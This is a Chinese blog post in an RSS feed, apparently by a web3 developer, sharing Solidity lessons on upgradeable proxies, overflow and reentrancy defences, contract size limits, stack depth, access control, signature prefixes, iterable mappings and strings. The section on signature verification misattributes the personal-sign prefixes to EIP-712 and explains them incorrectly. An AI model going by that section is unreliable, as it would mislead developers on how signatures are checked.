      <description>从17年开始学习区块链以来，笔者有幸参与开发诸多主流web3项目，如DeFi借贷、NFT交易平台、链游、IDO、O2C、DAO、版权、Fabric等DAPPs，一直以来想做些输出分享，今天从诸多项目中抓几个重要的点，笼统地分享一下，后续会分系列、分专题展开，持续更新，欢迎关注我的公众号。 需求变更了</description>
      <content:encoded><![CDATA[<blockquote>
<p>从17年开始学习区块链以来，笔者有幸参与开发诸多主流web3项目，如DeFi借贷、NFT交易平台、链游、IDO、O2C、DAO、版权、Fabric等DAPPs，一直以来想做些输出分享，今天从诸多项目中抓几个重要的点，笼统地分享一下，后续会分系列、分专题展开，持续更新，欢迎关注我的公众号。</p>
</blockquote>
<h2>需求变更了，合约无法升级？</h2>
<p>做过DAPP开发的同学都知道，智能合约是存储在区块链上的一个协议，或者说是一种数据存储格式，也可以理解为分布式数据库，由于区块链的不可篡改性，在合约开发前，我们需要优先考虑它的可扩展性。</p>
<p>从需求出发，先考虑整体架构，梳理出有哪些合约对象（一个合约即一个对象），哪些合约是需要升级的，哪些是不要升级的。</p>
<p><strong>个人经验：</strong></p>
<p>非资产类的合约（ERC20、ERC721、ERC1155等）都要支持可升级，反之，纯资产类的合约都不要设计成可升级的（因为交易所不会支持）为了让合约支持升级，通常使用代理模式来部署合约。</p>
<p>比较常用的代理模式有3种：uups、transparent、beacon，个人推荐使用uups，相对来说uups更节省gas。</p>
<p>在使用代理模式后，要注意的是，在部署完合约后记得调用initialize()去初始化合约。Hardhat框架已经集成了以上提到的代理模式，且自动初始化合约，所以学会使用Hardhat框架，可以帮助我们事半功倍。</p>
<blockquote>
<p>什么是代理模式？
从概念上来说，这跟以往程序语言中提到的代理模式是一样的，一对一代理。但实现上有些区别，合约中的代理模式是将合约分成了两个部分：代理合约（数据层）+业务逻辑合约（结构层）。代理合约负责存储数据和执行业务逻辑代码，业务逻辑合约则负责存储数据结构和业务逻辑代码。代理合约是通过solidity的匿名函数fallback()+delegatecall(calldata)方法来委托调用业务逻辑合约完成代理功能的。</p>
</blockquote>
<p>在升级合约后，由于代理合约不变，原有的数据就不会丢失，相当于无缝迁移了。升级合约也有一些技巧，处理不好会踩坑，后续还会写一篇专题来介绍，这里不再赘述。</p>
<h2>合约被攻击了？</h2>
<p>solidity从0.4走到今天的0.8版本，期间发生了好些黑客事件，如The DAO的重入攻击、BEC的溢出攻击、构造函数失控等。我把它分成两类：一类是语言层面的，另一类是使用层面的。很多安全问题并不是solidity语言不好，而是我们开发人员太大意，与其吐槽solidity，不如学好语法的同时多学习已经出现的安全案例，以合约安全审计员的身份来要求自己，可能就会避开很多攻击。</p>
<p><strong>个人经验：</strong></p>
<p>开发同学如果要少踩坑，尽量选择成熟的经过审计的基础合约来做二次开发，比如openzeppelin/openzeppelin-contracts仓库。为了避免溢出漏洞，尽量选择0.8或以上版本，因为默认支持溢出和下溢检查。0.8以下的版本，可引入SafeMath库，如果合约中要用到类型转换，可以使用SafeCast库来确保不会发生溢出。为了避免重入攻击，转账ETH时能用address.tranfer()，就不用address.send()和address.call.value(amount)()，另外可以考虑禁止收款账号是合约地址（The DAO事件中收款方就是一个合约地址）。</p>
<p>如果项目会投入商用，建议找专门的安全审计公司出具审计报告，一方面项目方可以自证清白，另一方面尽可能提前排除合约的安全隐患。</p>
<p>openzeppelin是国外一家最早做合约开发、合约审计的公司，我从17年学习区块链开始，就时常用到了他的一些基础合约（ERC20/ERC721等），发展到今天，他的基础合约俨然成为了一种行业标准，以太坊和BSC链上的很多知名项目，如Uniswap、AAVE、MarkDAO都用它的代码来做二次开发。</p>
<h2>合约代码超载了？</h2>
<p>在开发一个DeFi的项目（x-maker）时，由于需求复杂，导致在一个合约中写了过多代码，部署时遇到了合约代码超载的问题：</p>
<blockquote>
<p>Warning: Contract code size exceeds 24576 bytes (a limit introduced in Spurious Dragon). This contract may not be deployable on mainnet.</p>
</blockquote>
<p>从以太坊EIP170提案中可以得知，一个合约的字节数不能超过24KB（24576 Byte），并在以太坊Spurious Dragon分叉中引入了这个限制。目的有两个：一是为了防止拒绝服务 (DOS) 攻击；二是在一笔交易中存放合约字节码所需要的gas可能会超出一个区块的最大gas限制。</p>
<p><strong>个人经验：</strong></p>
<ul>
<li>1、拆分合约代码，如将一些与业务关联不是那么紧密的代码，分离到library的库文件中，单独部署，再通过using for引入到主合约中；</li>
<li>2、缩短错误信息，如require中的错误提示；</li>
<li>3、简化合约方法和变量，删除非必要的代码；</li>
<li>4、部署合约时，配置优化器，如<code>"optimizer": { "enabled": true, "runs": 200 }</code>，即如果在一个合约方法被调用 200 次的情况下优化字节码。</li>
</ul>
<h2>合约编译报错：栈太深？</h2>
<p>好不容易在一个合约中完成了应有的功能，但在编译时，报错了：</p>
<blockquote>
<p>InternalCompilerError：Stack Too Deep, try removing local variables.</p>
</blockquote>
<p>表面原因是合约方法function有参数个数限制，出、入参数、变量不能超过16个。本质上，EVM是一个栈机（后进先出），在设计EVM时就规定了栈的深度为1024个元素（栈用于存放局部变量、中间计算结果、函数调用），不能超出。这样设计有两个目的：一是为了合约代码执行安全，防止恶意攻击，如合约无限递归、栈无限增长等；二是为了合约代码更高效的执行。</p>
<p><strong>个人经验：</strong></p>
<ul>
<li>1、减少参数个数；</li>
<li>2、实在不行，就将参数打包成一个struct，这也是Aave、Compound项目中的常用写法；</li>
<li>3、在方法中使用代码块，将一些临时计算放到代码块中，相当于调用了一个子函数，由于代码块是独立的作用域，所以代码块中的变量数不被计入主方法的16个中，这种写法在Uniswap v2版本中可以见到，如Uniswap/v2-core中的swap()方法。</li>
</ul>
<h2>什么？合约中不能有小数</h2>
<p><strong>个人经验：</strong>
是的，solidity语言中没有浮点数类型，EVM也被设计成不支持小数（大部分公链都参考照搬了），主要是基于两方面的考虑：一是计算的确定性，另一个是区块链的共识机制。</p>
<p>在不同操作系统（windows/linux）、编程语言（solidity/vyper，move/go/rust）上，浮点数的精度和舍入规则会有所不同，这可能导致在不同的区块链节点上执行相同的合约，因为精度问题出现不同的结果（如DeFi中的利息计算、汇率兑换），破坏了计算的确定性。</p>
<p>正因为如此，区块链节点之间可能在计算结果上产生分歧，而导致无法达成共识。</p>
<h2>合约的路由和权限管理乱糟糟？</h2>
<p>当一个项目的合约文件超过了10个，合约之间需要互相调用，就应该对路由和权限进行统一管理。在近期（2023/09~12）中途接手改造一个链游项目时，就因为路由和权限管理特别混乱而导致BUG奇多。</p>
<p><strong>个人经验：</strong></p>
<p>可以考虑在一个全局的配置合约中去注册所有合约地址。开发之前将路由和权限设计好可以使得合约架构条理更清晰更安全。openzeppelin-contracts的合约仓库中提供一个基于RBAC的合约AccessControl，可以参考借鉴。</p>
<h2>验签老是通不过？</h2>
<p>在以太坊中，为了增加对签名的保护，引入了签名前缀，它与具体消息的哈希值一起用于构造消息的最终哈希，以供签名。</p>
<p>在 EIP-712 的上下文中，使用的签名前缀有两种形式：</p>
<pre><code class="language-solidity">\x19Ethereum Signed Message:\n
\x19Ethereum Signed Message:\n32
</code></pre>
<p>第一种前缀，用于包含域信息的消息。在 EIP-712 中，消息通常包括域和消息类型信息，以便更加结构化和透明。没有后缀的数字，表示消息的长度是不确定的，因为这个长度是消息的内容的长度，而不是哈希值的长度。</p>
<p>第二种前缀，用于没有域信息的消息。这是传统的签名前缀，用于简单的消息签名。32表示消息的长度（以字节为单位），这是因为 EIP-712 中的消息通常是一个 32 字节的哈希。</p>
<p><strong>个人经验：</strong></p>
<p>在编写带有签名功能的合约方法时，在对接WalletConnect时，都有踩到这个坑，验证签名时老是通不过，是因为漏掉或弄错了这个前缀，需要留意。推荐第一种带域的更安全。</p>
<h2>map不能遍历，束手束脚</h2>
<p>合约的数据结构，本质上就是键值对存储，map在solidity中是常用的一种数据类型，但使用时不能遍历，感觉束手束脚。</p>
<p>个人经验：map的遍历需要借助第三方库，如<code>ethereum/IterableMapping</code>，具体实现如下：</p>
<pre><code>struct itmap
  {
    mapping(uint => IndexValue) data;  // 存放有哪些value
    KeyFlag[] keys; // 存放有哪些key和key的状态，比如是否已删除
    uint size; // 保存长度
  }
struct IndexValue { uint keyIndex; uint value; }
struct KeyFlag { uint key; bool deleted; }

</code></pre>
<p>把键和值分开存放，键放在数组中，值放在mapping中，然后用一变量保存map的长度，这样既可以遍历键，又可以遍历值。另外map的存储长度是没有限制的。</p>
<h2>字符串的拼接和比较不太便利</h2>
<p><strong>个人经验：</strong></p>
<p>字符串的拼接，需要先将字符串转换成bytes类型，然后通过遍历拼成一个新的bytes数组，最后将其转换成字符串。字符串比较时可以将两个字符串通过keccak256哈希后进行对比。如果在合约中字符串的操作很频繁，建议借助第三方库，如Arachnid/solidity-stringutils、openzeppelin-contracts中的Strings库。</p>
<p>注意：对字符串的处理一般都比较耗gas，需要考虑gas成本。</p>
<h3>扩展阅读</h3>
<ul>
<li><a href="https://ethereum.org/zh/developers/tutorials/downsizing-contracts-to-fight-the-contract-size-limit/">为什么合约字节码大小不能超过24K？</a></li>
<li><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy">openzeppelin中的代理示例</a></li>
<li><a href="https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159">Uniswap v2中的代码块示例</a></li>
<li><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol">openzeppelin中的RBAC权限管理示例</a></li>
<li><a href="https://github.com/ethereum/dapp-bin/blob/578bb1dd60c0381ae5d4153aeab27f10025fde97/library/iterable_mapping.sol#L2">IterableMapping遍历map示例</a></li>
<li><a href="https://github.com/Arachnid/solidity-stringutils">solidity字符串处理库</a></li>
<li><a href="https://eips.ethereum.org/EIPS/eip-712">EIP 712提案详情</a></li>
</ul>
<p>以上扩展阅读内容已经转发在我的知识星球，可扫码阅读。</p>
<p><img src="/api/images/image/2026/10/2e73bdbde6533801-untitled.png" alt="Untitled"></p>
<hr>
<p>欢迎关注我的公众号“<strong>web3-notes</strong>”，一起拥抱 web3 世界。</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Mon, 04 Dec 2023 00:55:25 GMT</pubDate>
    </item>
  </channel>
</rss>